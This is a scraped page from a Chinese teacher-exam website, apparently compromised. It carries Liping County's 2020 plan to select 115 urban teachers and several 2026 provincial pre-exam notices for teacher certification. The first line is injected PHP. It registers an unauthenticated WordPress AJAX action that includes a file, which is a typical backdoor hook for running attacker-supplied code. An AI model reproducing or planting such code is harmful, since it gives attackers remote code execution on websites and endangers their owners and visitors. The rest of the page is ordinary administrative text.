if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
贵州黎平县2020年招聘教师115人公告-全国教师资格考试网

贵州黎平县2020年招聘教师115人公告

  各中学、乡镇(街道)中心小学,县特校:

  为解决城区学校教师不足,优化教师队伍结构,增强教育活力,提高办学水平,建立科学、规范、公平、公正的用人制度,有效保障易地扶贫搬迁子女就学问题,根据《中共黎平县委组织部 黎平县人力资源和社会保障局关于印发〈黎平县机关事业单位公开遴选工作人员办法(试行)〉的通知》(黎平组通〔2020〕92号)文件精神,结合我县实际,特制定本实施方案。

  一、遴选原则

  (一)坚持编制控制原则。根据事业发展规划、生源变化和学校布局调整等情况,按照各级各类学校教职工编制数额,实际空编遴选,不得超编遴选。

  (二)坚持均衡配置原则。教师遴选必须本着有利于教师资源合理配置、学科结构合理的原则。

  (三)坚持公开、公平、公正、择优遴选的原则。遴选工作在县纪委监委的全程监督下进行,做到“四公开一监督”即遴选人数公开、遴选办法公开、遴选条件公开、遴选结果公开,接受广大教师和社会的监督。

  (四)坚持以业绩为主的原则。对服从安排、业绩突出的教师,在同等条件下适当予以优先选用。

  二、遴选组织机构

  组  长:邰光金  县人民政府副县长

  副组长:王举飞  县人民政府办公室正乡级干部 

  龙  懿  县委教育工委副书记,县教科局党组书记、局长

  周明锋  县委组织部副部长,县人力资源社会保障局党组书记、局长

  宁国川  县委编办主任

  周  勇  县第七纪检监察组组长

  成  员:朱守相  县教科局副局长 

  吴兴勤  县人力资源社会保障局副局长

  杨胜斌  县委编办副主任

  相关中小学、幼儿园主要负责人

  本次遴选工作领导小组下设办公室在县教科局,朱守相同志兼任办公室主任,领导小组及办公室按有关法律法规和政策规定的条件、程序和方法以及本方案具体负责遴选工作的组织实施。

  三、遴选计划

  本次遴选计划是在城区学校空编限额内进行,共遴选中小学教师115名,其中:黎平县第二中学4名,黎平县第四中学13名,黎平县第五中学10名,黎平县第六中学5名,黎平县第八中学24名,城关第二小学3名,城关第三小学4名,城关第四小学1名,城关第六小学3名,城关第七小学20名,城关第八小学12名,城关第十一小学11名,城关第一幼儿园1名,城关第三幼儿园1名,城关第五幼儿园2名,城关第六幼儿园1名。(详见附件1)

  四、遴选对象和条件

  (一)遴选对象

  县内各乡镇街道(不含德凤街道片区小学)中小学在职在编在册专任教师,具有3年以上(不含3年)教学工作经历。

  (二)遴选基本条件

  1.拥护中国共产党的领导,遵纪守法,热爱教育事业,具有良好的职业道德,身体健康能够胜任本职工作,无违法违纪等行为。

  2.具有国家认可的相应学历证书、资格证书。遴选高中教师须具有国家认可的全日制普通高校大学本科及以上学历学位,同时取得相应专业高中及以上教师资格证书;遴选初级中学教师须具有国家认可的全日制普通高校大学专科及以上学历,同时取得相应专业初中及以上教师资格证书;遴选小学教师须具有国家认可的大学专科及以上学历,同时取得相应专业小学及以上教师资格证书;遴选幼儿园教师须具有国家认可的大学专科及以上学历,同时取得学前教育(幼儿园)教师资格证书。

  3.在近三年(2017-2019年)年度考核中均取得合格及以上等次。

  (三)遴选业绩条件

  近四年(2016-2019年)所任学科教学成绩达到以下标准:

  1.参加高中、初中学校遴选的教师所教学科依据全州中考或教学质量监测成绩认定,近4年所教学科有班级平均分或及格率至少有1年达到县平均水平。

  2.参加小学遴选的教师所教学科依据全州教学质量监测成绩认定,乡镇(街道)中心小学教师近4年所教学科有班级平均分或及格率有1年达到县平均水平,村小、教学点教师近4年所教学科有班级平均分或及格率至少有1年达到本乡镇(街道)平均水平。

  3.非统考学科教师和幼儿园非幼教专业、具备小学及以上教师资格证的教师,近4年年终量化考核分值至少有1年达到中上水平的可以报考遴选相应学科和岗位。

  4.因承担脱贫攻坚和疫情防控等中心工作的乡镇中心小学校长、业务员及交流到易地扶贫搬迁贫困户子女安置学校任教而未有教学成绩的,由县教育主管部门出示证明参加遴选。

  5.音体美非统考学科的教师可用参加县级及以上优质课(教学技能)竞赛、个人参加县级及以上集体活动获三等奖以上或辅导学生获得集体二等奖以上的可以作为参加遴选依据。

  五、限制条件

  (一)有多人申请参加遴选的学校,根据本校实有教师数推荐参加遴选,人数不得超过15%;有多人符合条件的学校,按学校近1年综合考核量化评比名次从高分到低分推荐参加遴选。

  (二)参加遴选每人只能报考一个岗位。

  (三)各乡镇中小学教师必须经所在学校校长、当地党委政府签字同意方可报考参加遴选。

  (四)乡镇中学教师不可参加县城小学职位的遴选。

  (五)具有以下情形之一的不得参加遴选

  1.仍在受处分阶段受影响的;

  2.2015年、2016年被聘用的凯里免费师范生尚未满规定服务年限(10年)的不得参加遴选;

  3.特岗教师参加工作未满48个月的不得参加遴选;

  4.2017年9月1日以后参加工作的事业单位人员不得参加遴选;

  5.正在接受纪律审查,监察调查,或涉嫌犯罪、司法程序尚未终结的不得参加遴选;

  6.法律、法规和政策规定的其他情形。

  六、遴选程序

  遴选工作按照发布信息、报名及资格审查、笔试、面试、考察、公示、办理调动手续等程序进行。

  (一)发布信息

  在黎平县人民政府网(http://www.lp.gov.cn/)和黎平县教育系统内部网站等公开发布遴选工作实施方案。

  (二)报名及资格审查

  报名采取现场报名和资格审查的方式进行。

  1.报名时间:2020年8月19日至20日(上午8:30-12:00,下午14:00-17:30),共2天。

  2.报名地点:县教科局人事股。联系电话:0855-6222377。

  3.报名材料

  (1)递交现任教学乡镇(街道)、学校审核的《黎平县机关事业单位公开遴选工作人员报名表》1份。

  (2)提供身份证、毕业证、教师资格证原件和复印件各1份。

  (3)本人近期标准的1寸白底免冠彩色正面照片3张。

  4.资格审查 

  (1)县教科局对报名人员的资格条件、相关材料进行审查,资格审查合格者,准予参加遴选。如有弄虚作假,将追究有关当事人责任。

  (2)县纪委监委派员对各个环节进行全程监督,确保遴选工作有序进行,发现弄虚作假等违纪行为,按有关规定严肃处理,且3年内不得参加同类型考试。

  (三)遴选方法

  遴选分笔试和面试两个阶段进行。笔试和面试内容:遴选幼儿园教师为学前阶段内容,遴选小学教师为小学阶段的教材,遴选初中教师为初中阶段教材,遴选高中教师为高中阶段教材。

  1.笔试(100分)

  (1)笔试时间:2020年8月22日上午9:00-11:00。

  (2)领取笔试准考证时间:2020年8月21日8:30-17:30领取准考证时持本人有效《居民身份证》到县教科局人事股领取,逾期未领的作弃权处理。

  (3)评卷:笔试结束,由命题人员进行评卷。

  (4)采取以下两种办法确定入围面试人员:一是笔试成绩(笔试成绩+奖励性加分,下同)超60分的按照1:3的比例从高分到低分确定入围面试人员,笔试成绩最后一名出现并列的(成绩按“四舍五入法”保留小数后两位数),则按近3年教学成绩平均分来确定。二是参加笔试人员不足3人,只要笔试成绩超60分,全部确定为入围面试人员。三是笔试成绩达不到60分的,取消该学科遴选计划。

  (5)笔试成绩和入围面试人员信息将公布在县教科局公开栏和教育网办群中。

  2.面试(100分)

  (1)面试时间及地点:见面试准考证。2020年8月24日8:30-17:30前到县教科局人事股领取面试准考证及遴选人员面试须知,逾期未领的作弃权处理。

  (2)面试成绩须达到70分及以上方可进入总成绩排名。

  (四)总成绩计算及入围体检人员的确定

  1.考生总成绩计算办法。

  总成绩=笔试成绩×50%+奖励性加分+面试成绩×50%

  奖励性加分由表彰奖励加分、工龄加分、教学科研加分三部分组成,同一奖项以最高级别奖加分,累计不超过5分,奖励性加分为近3学年的业绩(2017年7月1日-2020年6月30日内取得加分资格的)。

  表彰奖励加分:①获得党委、政府表彰的,依次按省、州、县、乡镇级分别积2分、1.5分、1分、0.5分(乡镇级必须提供乡镇党委政府文件,复印件需加盖乡镇党委或政府鲜章);②获得教育行政主管部门表彰的,依次按国家、省、州、县级分别加2分、1.5分、1分、0.5分;③省管专家、省级骨干教师,州管专家、州级骨于教师,县管专家、 县级骨干教师(必须提供文件依据)按省、州、县级分别加1.5分、1分、0.5分。

  工龄加分:在乡镇累计工作10年以上15年以下(含15年)的加1分;15年以上20年以下(含20年)的加1.5分;20年以上的加2分。

  教学科研加分:①在教育行政主管部门举办的优质课活动中获得县级一等奖及州级二等奖加1分,州级一等奖、省级二等奖加1.5分,省级一等奖加2分(“一师一优课”获奖按降低一个等级计算,远程教育课堂实录按上述类别分值减半计算);②开展教育教学课题实验已结题的前三名参与人按省、州、县级分别加1.5分、1分、0.5分,主持人在参与人基础上分别加0.5分(提交课题结题证明材料,由县教科局教育科学研究所予以认定并签字盖章),子课题按降低一个等次计算。

  2.入围体检人员确定。各学科职位按遴选计划数1:1的比例从总成绩由高分到低分确定入围体检人员,总成绩第一名出现并列的(成绩按“四舍五入法”保留小数后两位数),则按近3年教学成绩平均分来确定。

  3.总成绩达到70分及以上的方可入围体检,某职位无人达到70分的取消该职位遴选。如有异常情况反映,经查实不符合选聘条件者不予选聘,缺额实行递补。

  (五)考察

  由县教科局和用人学校对入围人员进行考察,考察内容主要包括报考者政治思想、道德品质、能力素质、学习和工作表现、遵纪守法、廉洁自律等方面。经考察不合格的,根据排名依次递补。

  (六)公示

  根据遴选人员的成绩和考察结果确定拟调动人员名单,并在黎平县人民政府网站进行公示,公示期不少于3个工作日,公示期间查实有严重问题影响遴选的,取消参加本次遴选资格。

  (七)调动

  经公示期满无异议或反映问题不影响遴选的,由其本人填写《干部调动申请审批表》《黎平县使用编制审批表》各一式三份,按照管理权限和程序办理调动手续。

  七、纪律要求

  遴选工作严格遵守相关原则,体现公平、公正、公开,按照政策规定、条件标准和工作程序,严格把关,严守纪律,坚决杜绝弄虚作假、徇私舞弊等不良现象,并主动接受纪检监察机关、有关部门及社会公众监督。对违反工作纪律的参考人员、工作人员和其他相关人员,按照相关规定严格追究责任。

  八、其他事项

  1.岗位聘任。按照省人社厅、教育厅的有关文件精神,各学校新补充教师,对已取得高、中级教师职称,在调入学校无对应空岗的前提下,在该聘期内降低岗位等级进行聘用。

  2.遴选所需经费由县级财政统筹安排。

  3.本《方案》由县中小学遴选工作领导小组办公室负责解释。未尽事宜由县遴选领导小组研究决定。

  联系电话:0855—6222377(县教科局人事股)

  举报电话:0855—6221525(办公室)   

附件:附件1:黎平县2020年公开遴选县城中小学教师职位表.docx

  附件2:黎平县2020年城关学校公开遴选教师报名表.docx

黎平县公开遴选县城中小学教师领导小组

黎平县教育和科技局(代章)

2020年8月16日

全国教师编制考试交流:943776395浙江教师资格考试②群

贵州黎平县2020年招聘教师115人公告

 

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部